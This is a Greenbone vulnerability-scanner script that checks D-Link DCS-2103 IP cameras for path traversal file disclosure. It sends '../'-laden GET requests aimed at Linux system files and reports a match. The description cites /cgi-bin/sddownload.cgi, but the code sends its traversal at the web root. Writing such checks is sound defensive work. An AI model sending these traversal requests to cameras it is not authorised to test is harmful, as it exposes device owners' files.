D-link IP Camera DCS-2103 Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805031");
  script_version("2023-07-26T05:05:09+0000");
  script_cve_id("CVE-2014-9234", "CVE-2014-9238");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-26 05:05:09 +0000 (Wed, 26 Jul 2023)");
  script_tag(name:"creation_date", value:"2014-12-15 14:54:29 +0530 (Mon, 15 Dec 2014)");
  script_name("D-link IP Camera DCS-2103 Multiple Vulnerabilities");

  script_tag(name:"summary", value:"This host has D-link IP Camera and is
  prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check
  whether it is able to download the system files.");

  script_tag(name:"insight", value:"Flaws are due to:

  - The /cgi-bin/sddownload.cgi script not properly sanitizing user input,
    specifically path traversal style attacks (e.g. '../') supplied via
    the 'file' parameter.

  - An input passed via the /cgi-bin/sddownload.cgi script to the 'file'
    parameter is not properly sanitized.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to disclose the software's installation path resulting in a loss
  of confidentiality and gain access to arbitrary files.");

  script_tag(name:"affected", value:"D-link IP camera DCS-2103 with firmware 1.0.0");

  script_tag(name:"solution", value:"Upgrade to D-link IP camera DCS-2103 with
  firmware after 1.0.0");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/129138");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/71484");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2014/Nov/42");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("DCS-2103/banner");

  script_xref(name:"URL", value:"http://www.dlink.com");
  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");

DlinkPort = http_get_port(default:80);

DlinkBanner = http_get_remote_headers(port: DlinkPort);
if('WWW-Authenticate: Basic realm="DCS-2103"' >!< DlinkBanner) exit(0);

## affected only on linux
files = traversal_files("linux");

foreach file (keys(files))
{
  url = "/" + crap(data:"../",length:15) + files[file];

  if(http_vuln_check(port:DlinkPort, url:url, pattern:file))
  {
    report = http_report_vuln_url( port:DlinkPort, url:url );
    security_message(port:DlinkPort, data:report);
    exit(0);
  }
}

exit(99);